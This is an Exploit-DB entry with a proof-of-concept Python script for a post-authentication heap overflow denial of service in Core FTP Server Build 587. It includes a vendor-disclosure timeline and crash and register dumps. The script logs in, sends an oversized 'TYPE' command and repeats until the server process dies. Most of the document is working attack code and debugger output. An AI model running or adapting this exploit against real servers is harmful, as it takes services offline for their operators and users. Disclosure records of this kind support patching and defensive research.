Exploit-DB #39797
Description: Core FTP Server 32-bit Build 587 - Heap Overflow
Type: dos
Platform: windows_x86
Date: 2016-05-10
Author: Paul Purcell

Exploit:
# -*- coding: cp1252 -*-
# Exploit Title: Core FTP Server 32-bit - Build 587 Heap Overflow
# Date: 05/10/2016
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: http://www.coreftp.com/
# Vulnerable Version Download:  http://coreftp.com/server/download/archive/CoreFTPServer587.exe
# Version: Core FTP Server 32-bit - Build 587 32-bit
# Tested on: Windows XP SP3 x32 English, Windows 7 Pro x64 SP1 English, Windows 10 Pro x64 English
# Category: Remote Heap Overflow PoC
#
# Timeline: 03/03/16 Bug found
#           03/04/16 Vender notified
#           03/06/16 Vender replied acknowledging the issue
#           04/07/16 Vender releases Build 588 which fixes the issue.
#           05/10/16 Exploit Released
#
# Summary:  This exploit allows for a post authentication DOS.  The server does not do proper bounds checking on
#           server responses.  In this case, the long 'MODE set to ...' reply invoked by a long TYPE command
#           causes a heap overflow and crashes the server process.
#
#           Crash info:
#
#           0133FA2C  32 30 30 20 4D 4F 44 45  200 MODE
#           0133FA34  20 73 65 74 20 74 6F 20   set to
#           0133FA3C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA44  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA4C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA54  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA5C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA64  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA6C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA74  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA7C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA84  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA8C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA94  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA9C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAA4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAAC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAB4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FABC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAC4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FACC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAD4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FADC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAE4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAEC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAF4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAFC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB04  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB0C  58 02 00 00 8E EB 31 57  X..Å½Ã«1W
#
#           00439827   . 8B86 3C040000  MOV EAX,DWORD PTR DS:[ESI+43C]           ;  ESI invalid address: DS:[4141457D]=???
#           0043982D   . 85C0           TEST EAX,EAX
#
#           DS:[4141457D]=???
#           EAX=00000000
#
#           EAX 00000000
#           ECX 00000000
#           EDX 00000001
#           EBX 01141B90
#           ESP 0142C06C
#           EBP 0143FB3C
#           ESI 41414141
#           EDI 00000000
#           EIP 00439827 coresrvr.00439827
#           C 1  ES 0023 32bit 0(FFFFFFFF)
#           P 1  CS 001B 32bit 0(FFFFFFFF)
#           A 1  SS 0023 32bit 0(FFFFFFFF)
#           Z 0  DS 0023 32bit 0(FFFFFFFF)
#           S 1  FS 003B 32bit 7FFD8000(FFF)
#           T 1  GS 0000 NULL
#           D 0
#           O 0  LastErr ERROR_SUCCESS (00000000)
#           EFL 00000397 (NO,B,NE,BE,S,PE,L,LE)
#           ST0 empty
#           ST1 empty
#           ST2 empty
#           ST3 empty
#           ST4 empty
#           ST5 empty
#           ST6 empty
#           ST7 empty
#                          3 2 1 0      E S P U O Z D I
#           FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
#           FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

import time
import socket
from ftplib import FTP

host='yourhost'             #host or IP
port=21                     #port
u="youruser"                #username
p="yourpass"                #password
pause=3                     #pause between login & command attempts, normally 3 seconds is plenty of time.
command="TYPE "
evil="A"*211                #Any more, and the program warns of buffer overflow attempt and ignores the command
evilTYPE=(command+evil)     #Evil type command

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()

if (open == 0):
    print "FTP is up, lets fix that..."
    while (open != 10061):
        print "Connecting to send evil TYPE command..."
        ftp = FTP()
        ftp.connect(host,port)
        ftp.login(u,p)
        ftp.sendcmd(evilTYPE)
        ftp.close()
        time.sleep(pause)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        open = sock.connect_ex((host,port))
        sock.close()
    print "No more files for you!"
else:
    print "Port "+str(port)+" does not seem to be open on "+host